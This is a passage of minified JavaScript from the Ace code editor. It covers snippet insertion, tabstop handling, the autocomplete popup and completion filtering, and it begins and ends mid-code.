r.value!=\"string\")&&(r.value=s.join(\"\"))}),u.forEach(function(e){e.length=0});var a={};for(var l=0;l<o.length;l++){var c=o[l];if(typeof c!=\"object\")continue;var p=c.tabstopId,d=o.indexOf(c,l+1);if(a[p]){a[p]===c&&(a[p]=null);continue}var v=u[p],m=typeof v.value==\"string\"?[v.value]:f(v.value);m.unshift(l+1,Math.max(0,d-l)),m.push(c),a[p]=c,o.splice.apply(o,m),v.indexOf(c)===-1&&v.push(c)}var g=0,y=0,b=\"\";o.forEach(function(e){typeof e==\"string\"?(e[0]===\"\\n\"?(y=e.length-1,g++):y+=e.length,b+=e):e.start?e.end={row:g,column:y}:e.start={row:g,column:y}});var w=e.getSelectionRange(),E=e.session.replace(w,b),S=new h(e),x=e.inVirtualSelectionMode&&e.selection.index;S.addTabstops(u,w.start,E,x)},this.insertSnippet=function(e,t){var n=this;if(e.inVirtualSelectionMode)return n.insertSnippetForSelection(e,t);e.forEachSelection(function(){n.insertSnippetForSelection(e,t)},null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||\"\";t=t.split(\"/\").pop();if(t===\"html\"||t===\"php\"){t===\"php\"&&!e.session.$mode.inlinePhp&&(t=\"html\");var n=e.getCursorPosition(),r=e.session.getState(n.row);typeof r==\"object\"&&(r=r[0]),r.substring&&(r.substring(0,3)==\"js-\"?t=\"javascript\":r.substring(0,4)==\"css-\"?t=\"css\":r.substring(0,4)==\"php-\"&&(t=\"php\"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),n=[t],r=this.snippetMap;return r[t]&&r[t].includeScopes&&n.push.apply(n,r[t].includeScopes),n.push(\"_\"),n},this.expandWithTab=function(e,t){var n=this,r=e.forEachSelection(function(){return n.expandSnippetForSelection(e,t)},null,{keepOrder:!0});return r&&e.tabstopManager&&e.tabstopManager.tabNext(),r},this.expandSnippetForSelection=function(e,t){var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=r.substring(0,n.column),s=r.substr(n.column),o=this.snippetMap,u;return this.getActiveScopes(e).some(function(e){var t=o[e];return t&&(u=this.findMatchingSnippet(t,i,s)),!!u},this),u?t&&t.dryRun?!0:(e.session.doc.removeInLine(n.row,n.column-u.replaceBefore.length,n.column+u.replaceAfter.length),this.variables.M__=u.matchBefore,this.variables.T__=u.matchAfter,this.insertSnippetForSelection(e,u.content),this.variables.M__=this.variables.T__=null,!0):!1},this.findMatchingSnippet=function(e,t,n){for(var r=e.length;r--;){var i=e[r];if(i.startRe&&!i.startRe.test(t))continue;if(i.endRe&&!i.endRe.test(n))continue;if(!i.startRe&&!i.endRe)continue;return i.matchBefore=i.startRe?i.startRe.exec(t):[\"\"],i.matchAfter=i.endRe?i.endRe.exec(n):[\"\"],i.replaceBefore=i.triggerRe?i.triggerRe.exec(t)[0]:\"\",i.replaceAfter=i.endTriggerRe?i.endTriggerRe.exec(n)[0]:\"\",i}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){function o(e){return e&&!/^\\^?\\(.*\\)\\$?$|^\\\\b$/.test(e)&&(e=\"(?:\"+e+\")\"),e||\"\"}function u(e,t,n){return e=o(e),t=o(t),n?(e=t+e,e&&e[e.length-1]!=\"$\"&&(e+=\"$\")):(e+=t,e&&e[0]!=\"^\"&&(e=\"^\"+e)),new RegExp(e)}function a(e){e.scope||(e.scope=t||\"_\"),t=e.scope,n[t]||(n[t]=[],r[t]={});var o=r[t];if(e.name){var a=o[e.name];a&&i.unregister(a),o[e.name]=e}n[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\\w/.test(e.tabTrigger)&&(e.guard=\"\\\\b\"),e.trigger=s.escapeRegExp(e.tabTrigger));if(!e.trigger&&!e.guard&&!e.endTrigger&&!e.endGuard)return;e.startRe=u(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,\"\",!0),e.endRe=u(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,\"\",!0)}var n=this.snippetMap,r=this.snippetNameMap,i=this;e||(e=[]),e&&e.content?a(e):Array.isArray(e)&&e.forEach(a),this._signal(\"registerSnippets\",{scope:t})},this.unregister=function(e,t){function i(e){var i=r[e.scope||t];if(i&&i[e.name]){delete i[e.name];var s=n[e.scope||t],o=s&&s.indexOf(e);o>=0&&s.splice(o,1)}}var n=this.snippetMap,r=this.snippetNameMap;e.content?i(e):Array.isArray(e)&&e.forEach(i)},this.parseSnippetFile=function(e){e=e.replace(/\\r/g,\"\");var t=[],n={},r=/^#.*|^({[\\s\\S]*})\\s*$|^(\\S+) (.*)$|^((?:\\n*\\t.*)+)/gm,i;while(i=r.exec(e)){if(i[1])try{n=JSON.parse(i[1]),t.push(n)}catch(s){}if(i[4])n.content=i[4].replace(/^\\t/gm,\"\"),t.push(n),n={};else{var o=i[2],u=i[3];if(o==\"regex\"){var a=/\\/((?:[^\\/\\\\]|\\\\.)*)|$/g;n.guard=a.exec(u)[1],n.trigger=a.exec(u)[1],n.endTrigger=a.exec(u)[1],n.endGuard=a.exec(u)[1]}else o==\"snippet\"?(n.tabTrigger=u.match(/^\\S*/)[0],n.name||(n.name=u)):n[o]=u}}return t},this.getSnippetByName=function(e,t){var n=this.snippetNameMap,r;return this.getActiveScopes(t).some(function(t){var i=n[t];return i&&(r=i[e]),!!r},this),r}}).call(c.prototype);var h=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=s.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on(\"change\",this.$onChange),this.editor.on(\"changeSelection\",this.$onChangeSelection),this.editor.on(\"changeSession\",this.$onChangeSession),this.editor.commands.on(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener(\"change\",this.$onChange),this.editor.removeListener(\"changeSelection\",this.$onChangeSelection),this.editor.removeListener(\"changeSession\",this.$onChangeSession),this.editor.commands.removeListener(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t=e,n=e.action[0]==\"r\",r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=i.column-r.column;n&&(u=-u,a=-a);if(!this.$inChange&&n){var f=this.selectedTabstop,c=f&&!f.some(function(e){return l(e.start,r)<=0&&l(e.end,i)>=0});if(c)return this.detach()}var h=this.ranges;for(var p=0;p<h.length;p++){var d=h[p];if(d.end.row<r.row)continue;if(n&&l(r,d.start)<0&&l(i,d.end)>0){this.removeRange(d),p--;continue}d.start.row==s&&d.start.column>r.column&&(d.start.column+=a),d.end.row==s&&d.end.column>=r.column&&(d.end.column+=a),d.start.row>=s&&(d.start.row+=u),d.end.row>=s&&(d.end.row+=u),l(d.start,d.end)>0&&this.removeRange(d)}h.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(!e||!e.hasLinkedRanges)return;this.$inChange=!0;var n=this.editor.session,r=n.getTextRange(e.firstNonLinked);for(var i=e.length;i--;){var s=e[i];if(!s.linked)continue;var o=t.snippetManager.tmStrFormat(r,s.original);n.replace(s,o)}this.$inChange=!1},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(!this.editor)return;var e=this.editor.selection.lead,t=this.editor.selection.anchor,n=this.editor.selection.isEmpty();for(var r=this.ranges.length;r--;){if(this.ranges[r].linked)continue;var i=this.ranges[r].contains(e.row,e.column),s=n||this.ranges[r].contains(t.row,t.column);if(i&&s)return}this.detach()},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,n=this.index+(e||1);n=Math.min(Math.max(n,1),t),n==t&&(n=0),this.selectTabstop(n),n===0&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index];if(!t||!t.length)return;this.selectedTabstop=t;if(!this.editor.inVirtualSelectionMode){var n=this.editor.multiSelect;n.toSingleRange(t.firstNonLinked.clone());for(var r=t.length;r--;){if(t.hasLinkedRanges&&t[r].linked)continue;n.addRange(t[r].clone(),!0)}n.ranges[0]&&n.addRange(n.ranges[0].clone())}else this.editor.selection.setRange(t.firstNonLinked);this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.addTabstops=function(e,t,n){this.$openTabstops||(this.$openTabstops=[]);if(!e[0]){var r=o.fromPoints(n,n);v(r.start,t),v(r.end,t),e[0]=[r],e[0].index=0}var i=this.index,s=[i+1,0],u=this.ranges;e.forEach(function(e,n){var r=this.$openTabstops[n]||e;for(var i=e.length;i--;){var a=e[i],f=o.fromPoints(a.start,a.end||a.start);d(f.start,t),d(f.end,t),f.original=a,f.tabstop=r,u.push(f),r!=e?r.unshift(f):r[i]=f,a.fmtString?(f.linked=!0,r.hasLinkedRanges=!0):r.firstNonLinked||(r.firstNonLinked=f)}r.firstNonLinked||(r.hasLinkedRanges=!1),r===e&&(s.push(r),this.$openTabstops[n]=r),this.addTabstopMarkers(r)},this),s.length>2&&(this.tabstops.length&&s.push(s.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,s))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){e.markerId||(e.markerId=t.addMarker(e,\"ace_snippet-marker\",\"text\"))})},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){t.removeMarker(e.markerId),e.markerId=null})},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),t!=-1&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new a,this.keyboardHandler.bindKeys({Tab:function(e){if(t.snippetManager&&t.snippetManager.expandWithTab(e))return;e.tabstopManager.tabNext(1)},\"Shift-Tab\":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(h.prototype);var p={};p.onChange=u.prototype.onChange,p.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},p.update=function(e,t,n){this.$insertRight=n,this.pos=e,this.onChange(t)};var d=function(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row},v=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e(\"./lib/dom\").importCssString(\".ace_snippet-marker {    -moz-box-sizing: border-box;    box-sizing: border-box;    background: rgba(194, 193, 208, 0.09);    border: 1px dotted rgba(211, 208, 235, 0.62);    position: absolute;}\"),t.snippetManager=new c;var m=e(\"./editor\").Editor;(function(){this.insertSnippet=function(e,n){return t.snippetManager.insertSnippet(this,e,n)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)}),define(\"ace/autocomplete/popup\",[\"require\",\"exports\",\"module\",\"ace/virtual_renderer\",\"ace/editor\",\"ace/range\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../virtual_renderer\").VirtualRenderer,i=e(\"../editor\").Editor,s=e(\"../range\").Range,o=e(\"../lib/event\"),u=e(\"../lib/lang\"),a=e(\"../lib/dom\"),f=function(e){var t=new r(e);t.$maxLines=4;var n=new i(t);return n.setHighlightActiveLine(!1),n.setShowPrintMargin(!1),n.renderer.setShowGutter(!1),n.renderer.setHighlightGutterLine(!1),n.$mouseHandler.$focusWaitTimout=0,n.$highlightTagPending=!0,n},l=function(e){var t=a.createElement(\"div\"),n=new f(t);e&&e.appendChild(t),t.style.display=\"none\",n.renderer.content.style.cursor=\"default\",n.renderer.setStyle(\"ace_autocomplete\"),n.setOption(\"displayIndentGuides\",!1),n.setOption(\"dragDelay\",150);var r=function(){};n.focus=r,n.$isFocused=!0,n.renderer.$cursorLayer.restartTimer=r,n.renderer.$cursorLayer.element.style.opacity=0,n.renderer.$maxLines=8,n.renderer.$keepTextAreaAtCursor=!1,n.setHighlightActiveLine(!1),n.session.highlight(\"\"),n.session.$searchHighlight.clazz=\"ace_highlight-marker\",n.on(\"mousedown\",function(e){var t=e.getDocumentPosition();n.selection.moveToPosition(t),c.start.row=c.end.row=t.row,e.stop()});var i,l=new s(-1,0,-1,Infinity),c=new s(-1,0,-1,Infinity);c.id=n.session.addMarker(c,\"ace_active-line\",\"fullLine\"),n.setSelectOnHover=function(e){e?l.id&&(n.session.removeMarker(l.id),l.id=null):l.id=n.session.addMarker(l,\"ace_line-hover\",\"fullLine\")},n.setSelectOnHover(!1),n.on(\"mousemove\",function(e){if(!i){i=e;return}if(i.x==e.x&&i.y==e.y)return;i=e,i.scrollTop=n.renderer.scrollTop;var t=i.getDocumentPosition().row;l.start.row!=t&&(l.id||n.setRow(t),p(t))}),n.renderer.on(\"beforeRender\",function(){if(i&&l.start.row!=-1){i.$pos=null;var e=i.getDocumentPosition().row;l.id||n.setRow(e),p(e,!0)}}),n.renderer.on(\"afterRender\",function(){var e=n.getRow(),t=n.renderer.$textLayer,r=t.element.childNodes[e-t.config.firstRow];if(r==t.selectedNode)return;t.selectedNode&&a.removeCssClass(t.selectedNode,\"ace_selected\"),t.selectedNode=r,r&&a.addCssClass(r,\"ace_selected\")});var h=function(){p(-1)},p=function(e,t){e!==l.start.row&&(l.start.row=l.end.row=e,t||n.session._emit(\"changeBackMarker\"),n._emit(\"changeHoverMarker\"))};n.getHoveredRow=function(){return l.start.row},o.addListener(n.container,\"mouseout\",h),n.on(\"hide\",h),n.on(\"changeSelection\",h),n.session.doc.getLength=function(){return n.data.length},n.session.doc.getLine=function(e){var t=n.data[e];return typeof t==\"string\"?t:t&&t.value||\"\"};var d=n.session.bgTokenizer;return d.$tokenizeRow=function(e){var t=n.data[e],r=[];if(!t)return r;typeof t==\"string\"&&(t={value:t}),t.caption||(t.caption=t.value||t.name);var i=-1,s,o;for(var u=0;u<t.caption.length;u++)o=t.caption[u],s=t.matchMask&1<<u?1:0,i!==s?(r.push({type:t.className||\"\"+(s?\"completion-highlight\":\"\"),value:o}),i=s):r[r.length-1].value+=o;if(t.meta){var a=n.renderer.$size.scrollerWidth/n.renderer.layerConfig.characterWidth,f=t.meta;f.length+t.caption.length>a-2&&(f=f.substr(0,a-t.caption.length-3)+\"\\u2026\"),r.push({type:\"rightAlignedText\",value:f})}return r},d.$updateOnChange=r,d.start=r,n.session.$computeWidth=function(){return this.screenWidth=0},n.$blockScrolling=Infinity,n.isOpen=!1,n.isTopdown=!1,n.data=[],n.setData=function(e){n.setValue(u.stringRepeat(\"\\n\",e.length),-1),n.data=e||[],n.setRow(0)},n.getData=function(e){return n.data[e]},n.getRow=function(){return c.start.row},n.setRow=function(e){e=Math.max(-1,Math.min(this.data.length,e)),c.start.row!=e&&(n.selection.clearSelection(),c.start.row=c.end.row=e||0,n.session._emit(\"changeBackMarker\"),n.moveCursorTo(e||0,0),n.isOpen&&n._signal(\"select\"))},n.on(\"changeSelection\",function(){n.isOpen&&n.setRow(n.selection.lead.row),n.renderer.scrollCursorIntoView()}),n.hide=function(){this.container.style.display=\"none\",this._signal(\"hide\"),n.isOpen=!1},n.show=function(e,t,r){var s=this.container,o=window.innerHeight,u=window.innerWidth,a=this.renderer,f=a.$maxLines*t*1.4,l=e.top+this.$borderSize;l+f>o-t&&!r?(s.style.top=\"\",s.style.bottom=o-l+\"px\",n.isTopdown=!1):(l+=t,s.style.top=l+\"px\",s.style.bottom=\"\",n.isTopdown=!0),s.style.display=\"\",this.renderer.$textLayer.checkForSizeChanges();var c=e.left;c+s.offsetWidth>u&&(c=u-s.offsetWidth),s.style.left=c+\"px\",this._signal(\"show\"),i=null,n.isOpen=!0},n.getTextLeftOffset=function(){return this.$borderSize+this.renderer.$padding+this.$imageSize},n.$imageSize=0,n.$borderSize=1,n};a.importCssString(\".ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line {    background-color: #CAD6FA;    z-index: 1;}.ace_editor.ace_autocomplete .ace_line-hover {    border: 1px solid #abbffe;    margin-top: -1px;    background: rgba(233,233,253,0.4);}.ace_editor.ace_autocomplete .ace_line-hover {    position: absolute;    z-index: 2;}.ace_editor.ace_autocomplete .ace_scroller {   background: none;   border: none;   box-shadow: none;}.ace_rightAlignedText {    color: gray;    display: inline-block;    position: absolute;    right: 4px;    text-align: right;    z-index: -1;}.ace_editor.ace_autocomplete .ace_completion-highlight{    color: #000;    text-shadow: 0 0 0.01em;}.ace_editor.ace_autocomplete {    width: 280px;    z-index: 200000;    background: #fbfbfb;    color: #444;    border: 1px lightgray solid;    position: fixed;    box-shadow: 2px 3px 5px rgba(0,0,0,.2);    line-height: 1.4;}\"),t.AcePopup=l}),define(\"ace/autocomplete/util\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.parForEach=function(e,t,n){var r=0,i=e.length;i===0&&n();for(var s=0;s<i;s++)t(e[s],function(e,t){r++,r===i&&n(e,t)})};var r=/[a-zA-Z_0-9\\$\\-\\u00A2-\\uFFFF]/;t.retrievePrecedingIdentifier=function(e,t,n){n=n||r;var i=[];for(var s=t-1;s>=0;s--){if(!n.test(e[s]))break;i.push(e[s])}return i.reverse().join(\"\")},t.retrieveFollowingIdentifier=function(e,t,n){n=n||r;var i=[];for(var s=t;s<e.length;s++){if(!n.test(e[s]))break;i.push(e[s])}return i}}),define(\"ace/autocomplete\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\",\"ace/autocomplete/popup\",\"ace/autocomplete/util\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/lib/dom\",\"ace/snippets\"],function(e,t,n){\"use strict\";var r=e(\"./keyboard/hash_handler\").HashHandler,i=e(\"./autocomplete/popup\").AcePopup,s=e(\"./autocomplete/util\"),o=e(\"./lib/event\"),u=e(\"./lib/lang\"),a=e(\"./lib/dom\"),f=e(\"./snippets\").snippetManager,l=function(){this.autoInsert=!1,this.autoSelect=!0,this.exactMatch=!1,this.gatherCompletionsId=0,this.keyboardHandler=new r,this.keyboardHandler.bindKeys(this.commands),this.blurListener=this.blurListener.bind(this),this.changeListener=this.changeListener.bind(this),this.mousedownListener=this.mousedownListener.bind(this),this.mousewheelListener=this.mousewheelListener.bind(this),this.changeTimer=u.delayedCall(function(){this.updateCompletions(!0)}.bind(this)),this.tooltipTimer=u.delayedCall(this.updateDocTooltip.bind(this),50)};(function(){this.$init=function(){return this.popup=new i(document.body||document.documentElement),this.popup.on(\"click\",function(e){this.insertMatch(),e.stop()}.bind(this)),this.popup.focus=this.editor.focus.bind(this.editor),this.popup.on(\"show\",this.tooltipTimer.bind(null,null)),this.popup.on(\"select\",this.tooltipTimer.bind(null,null)),this.popup.on(\"changeHoverMarker\",this.tooltipTimer.bind(null,null)),this.popup},this.getPopup=function(){return this.popup||this.$init()},this.openPopup=function(e,t,n){this.popup||this.$init(),this.popup.setData(this.completions.filtered),e.keyBinding.addKeyboardHandler(this.keyboardHandler);var r=e.renderer;this.popup.setRow(this.autoSelect?0:-1);if(!n){this.popup.setTheme(e.getTheme()),this.popup.setFontSize(e.getFontSize());var i=r.layerConfig.lineHeight,s=r.$cursorLayer.getPixelPosition(this.base,!0);s.left-=this.popup.getTextLeftOffset();var o=e.container.getBoundingClientRect();s.top+=o.top-r.layerConfig.offset,s.left+=o.left-e.renderer.scrollLeft,s.left+=r.gutterWidth,this.popup.show(s,i)}else n&&!t&&this.detach()},this.detach=function(){this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.off(\"changeSelection\",this.changeListener),this.editor.off(\"blur\",this.blurListener),this.editor.off(\"mousedown\",this.mousedownListener),this.editor.off(\"mousewheel\",this.mousewheelListener),this.changeTimer.cancel(),this.hideDocTooltip(),this.gatherCompletionsId+=1,this.popup&&this.popup.isOpen&&this.popup.hide(),this.base&&this.base.detach(),this.activated=!1,this.completions=this.base=null},this.changeListener=function(e){var t=this.editor.selection.lead;(t.row!=this.base.row||t.column<this.base.column)&&this.detach(),this.activated?this.changeTimer.schedule():this.detach()},this.blurListener=function(e){var t=document.activeElement,n=this.editor.textInput.getElement(),r=e.relatedTarget&&e.relatedTarget==this.tooltipNode,i=this.popup&&this.popup.container;t!=n&&t.parentNode!=i&&!r&&t!=this.tooltipNode&&e.relatedTarget!=n&&this.detach()},this.mousedownListener=function(e){this.detach()},this.mousewheelListener=function(e){this.detach()},this.goTo=function(e){var t=this.popup.getRow(),n=this.popup.session.getLength()-1;switch(e){case\"up\":t=t<=0?n:t-1;break;case\"down\":t=t>=n?-1:t+1;break;case\"start\":t=0;break;case\"end\":t=n}this.popup.setRow(t)},this.insertMatch=function(e,t){e||(e=this.popup.getData(this.popup.getRow()));if(!e)return!1;if(e.completer&&e.completer.insertMatch)e.completer.insertMatch(this.editor,e);else{if(this.completions.filterText){var n=this.editor.selection.getAllRanges();for(var r=0,i;i=n[r];r++)i.start.column-=this.completions.filterText.length,this.editor.session.remove(i)}e.snippet?f.insertSnippet(this.editor,e.snippet):this.editor.execCommand(\"insertstring\",e.value||e)}this.detach()},this.commands={Up:function(e){e.completer.goTo(\"up\")},Down:function(e){e.completer.goTo(\"down\")},\"Ctrl-Up|Ctrl-Home\":function(e){e.completer.goTo(\"start\")},\"Ctrl-Down|Ctrl-End\":function(e){e.completer.goTo(\"end\")},Esc:function(e){e.completer.detach()},Return:function(e){return e.completer.insertMatch()},\"Shift-Return\":function(e){e.completer.insertMatch(null,{deleteSuffix:!0})},Tab:function(e){var t=e.completer.insertMatch();if(!!t||!!e.tabstopManager)return t;e.completer.goTo(\"down\")},PageUp:function(e){e.completer.popup.gotoPageUp()},PageDown:function(e){e.completer.popup.gotoPageDown()}},this.gatherCompletions=function(e,t){var n=e.getSession(),r=e.getCursorPosition(),i=n.getLine(r.row),o=s.retrievePrecedingIdentifier(i,r.column);this.base=n.doc.createAnchor(r.row,r.column-o.length),this.base.$insertRight=!0;var u=[],a=e.completers.length;return e.completers.forEach(function(i,f){i.getCompletions(e,n,r,o,function(r,i){r||(u=u.concat(i));var o=e.getCursorPosition(),f=n.getLine(o.row);t(null,{prefix:s.retrievePrecedingIdentifier(f,o.column,i[0]&&i[0].identifierRegex),matches:u,finished:--a===0})})}),!0},this.showPopup=function(e){this.editor&&this.detach(),this.activated=!0,this.editor=e,e.completer!=this&&(e.completer&&e.completer.detach(),e.completer=this),e.on(\"changeSelection\",this.changeListener),e.on(\"blur\",this.blurListener),e.on(\"mousedown\",this.mousedownListener),e.on(\"mousewheel\",this.mousewheelListener),this.updateCompletions()},this.updateCompletions=function(e){if(e&&this.base&&this.completions){var t=this.editor.getCursorPosition(),n=this.editor.session.getTextRange({start:this.base,end:t});if(n==this.completions.filterText)return;this.completions.setFilter(n);if(!this.completions.filtered.length)return this.detach();if(this.completions.filtered.length==1&&this.completions.filtered[0].value==n&&!this.completions.filtered[0].snippet)return this.detach();this.openPopup(this.editor,n,e);return}var r=this.gatherCompletionsId;this.gatherCompletions(this.editor,function(t,n){var i=function(){if(!n.finished)return;return this.detach()}.bind(this),s=n.prefix,o=n&&n.matches;if(!o||!o.length)return i();if(s.indexOf(n.prefix)!==0||r!=this.gatherCompletionsId)return;this.completions=new c(o),this.exactMatch&&(this.completions.exactMatch=!0),this.completions.setFilter(s);var u=this.completions.filtered;if(!u.length)return i();if(u.length==1&&u[0].value==s&&!u[0].snippet)return i();if(this.autoInsert&&u.length==1&&n.finished)return this.insertMatch(u[0]);this.openPopup(this.editor,s,e)}.bind(this))},this.cancelContextMenu=function(){this.editor.$mouseHandler.cancelContextMenu()},this.updateDocTooltip=function(){var e=this.popup,t=e.data,n=t&&(t[e.getHoveredRow()]||t[e.getRow()]),r=null;if(!n||!this.editor||!this.popup.isOpen)return this.hideDocTooltip();this.editor.completers.some(function(e){return e.getDocTooltip&&(r=e.getDocTooltip(n)),r}),r||(r=n),typeof r==\"string\"&&(r={docText:r});if(!r||!r.docHTML&&!r.docText)return this.hideDocTooltip();this.showDocTooltip(r)},this.showDocTooltip=function(e){this.tooltipNode||(this.tooltipNode=a.createElement(\"div\"),this.tooltipNode.className=\"ace_tooltip ace_doc-tooltip\",this.tooltipNode.style.margin=0,this.tooltipNode.style.pointerEvents=\"auto\",this.tooltipNode.tabIndex=-1,this.tooltipNode.onblur=this.blurListener.bind(this));var t=this.tooltipNode;e.docHTML?t.innerHTML=e.docHTML:e.docText&&(t.textContent=e.docText),t.parentNode||document.body.appendChild(t);var n=this.popup,r=n.container.getBoundingClientRect();t.style.top=n.container.style.top,t.style.bottom=n.container.style.bottom,window.innerWidth-r.right<320?(t.style.right=window.innerWidth-r.left+\"px\",t.style.left=\"\"):(t.style.left=r.right+1+\"px\",t.style.right=\"\"),t.style.display=\"block\"},this.hideDocTooltip=function(){this.tooltipTimer.cancel();if(!this.tooltipNode)return;var e=this.tooltipNode;!this.editor.isFocused()&&document.activeElement==e&&this.editor.focus(),this.tooltipNode=null,e.parentNode&&e.parentNode.removeChild(e)}}).call(l.prototype),l.startCommand={name:\"startAutocomplete\",exec:function(e){e.completer||(e.completer=new l),e.completer.autoInsert=!1,e.completer.autoSelect=!0,e.completer.showPopup(e),e.completer.cancelContextMenu()},bindKey:\"Ctrl-Space|Ctrl-Shift-Space|Alt-Space\"};var c=function(e,t){this.all=e,this.filtered=e,this.filterText=t||\"\",this.exactMatch=!1};(function(){this.setFilter=function(e){if(e.length>this.filterText&&e.lastIndexOf(this.filterText,0)===0)var t=this.filtered;else var t=this.all;this.filterText=e,t=this.filterCompletions(t,this.filterText),t=t.sort(function(e,t){return t.exactMatch-e.exactMatch||t.score-e.score});var n=null;t=t.filter(function(e){var t=e.snippet||e.caption||e.value;return t===n?!1:(n=t,!0)}),this.filtered=t},this.filterCompletions=function(e,t){var n=[],r=t.toUpperCase(),i=t.toLowerCase();e:for(var s=0,o;o=e[s];s++){var u=o.value||o.caption||o.snippet;if(!u)continue;var a=-1,f=0,l=0,c,h;if(this.exactMatch){if(t!==u.substr(0,t.length))continue e}else for(var p=0;p<t.length;p++){var d=u.indexOf(i[p],a+1),v=u.indexOf(r[p],a+1);c=d>=0?v<0||d<v?d:v:v;if(c<0)continue e;h=c-a-1,h>0&&(a===-1&&(l+=10),l+=h),f|=1<<c,a=c}o.matchMask=f,o.exactMatch=l?0:1,o.score=(o.score||0)-l,n.push(o)}return n}}).call(c.prototype),t.Autocomplete=l,t.FilteredList=c}),define(\"ace/autocomplete/text_completer\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){function s(e,t){var n=e.getTextRange(r.fromPoints({row:0,column:0},t));return n.split(i).length-1}function o(e,t){var n=s(e,t),r=e.getValue().split(i),o=Object.create(null),u=r[n];return r.forEach(function(e,t){if(!e||e===u)return;var i=Math.abs(n-t),s=r.length-i;o[e]?o[e]=Math.max(s,o[e]):o[e]=s}),o}var r=e(\"../range\").Range,i=/[^a-zA-Z_0-9\\$\\-\\u00C0-\\u1FFF\\u2C00-\\uD7FF\\w]+/;t.getCompletions=function(e,t,n,r,i){var s=o(t,n,r),u=Object.keys(s);i(null,u.map(function(e){return{caption:e,value:e,score:s[e],meta:\"local\"}}))}}),define(\"ace/ext/language_tools\",[\"require\",\"exports\",\"module\",\"ace/snippets\",\"ace/autocomplete\",\"ace/config\",\"ace/lib/lang\",\"ace/autocomplete/util\",\"ace/autocomplete/text_completer\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";function m(e){var t=e.getCursorPosition(),n=e.session.getLine(t.row),r;return e.completers.forEach(function(e){e.identifierRegexps&&e.identifierRegexps.forEach(function(e){!r&&e&&(r=u.retrievePrecedingIdentifier(n,t.column,e))})}),r||u.retrievePrecedingIdentifier(n,t.column)}var r=e(\"../snippets\").snippetManager,i=e(\"../autocomplete\").Autocomplete,s=e(\"../config\"),o=e(\"../lib/lang\"),u=e(\"../autocomplete/util\"),a=e(\"../autocomplete/text_completer\"),f={getCompletions:function(e,t,n,r,i){if(t.$mode.completer)return t.$mode.completer.getCompletions(e,t,n,r,i);var s=e.session.getState(n.row),o=t.$mode.getCompletions(s,t,n,r);i(null,o)}},l={getCompletions:function(e,t,n,i,s){var o=r.snippetMap,u=[];r.getActiveScopes(e).forEach(function(e){var t=o[e]||[];for(var n=t.length;n--;){var r=t[n],i=r.name||r.tabTrigger;if(!i)continue;u.push({caption:i,snippet:r.content,meta:r.tabTrigger&&!r.name?r.tabTrigger+\"\\u21e5 \":\"snippet\",type:\"snippet\"})}},this),s(null,u)},getDocTooltip:function(e){e.type==\"snippet\"&&!e.docHTML&&(e.docHTML=[\"<b>\",o.escapeHTML(e.caption),\"</b>\",\"<hr></hr>\",o.escapeHTML(e.snippet)].join(\"\"))}},c=[l,a,f];t.setCompleters=function(e){c=e||[]},t.addCompleter=function(e){c.push(e)},t.textCompleter=a,t.keyWordCompleter=f,t.snippetCompleter=l;var h={name:\"expandSnippet\",exec:function(e){return r.expandWithTab(e)},bindKey:\"Tab\"},p=function(e,t){d(t.session.$mode)},d=function(e){var t=e.$id;r.files||(r.files={}),v(t),e.modes&&e.modes.forEach(d)},v=function(e){if(!e||r.files[e])return;var 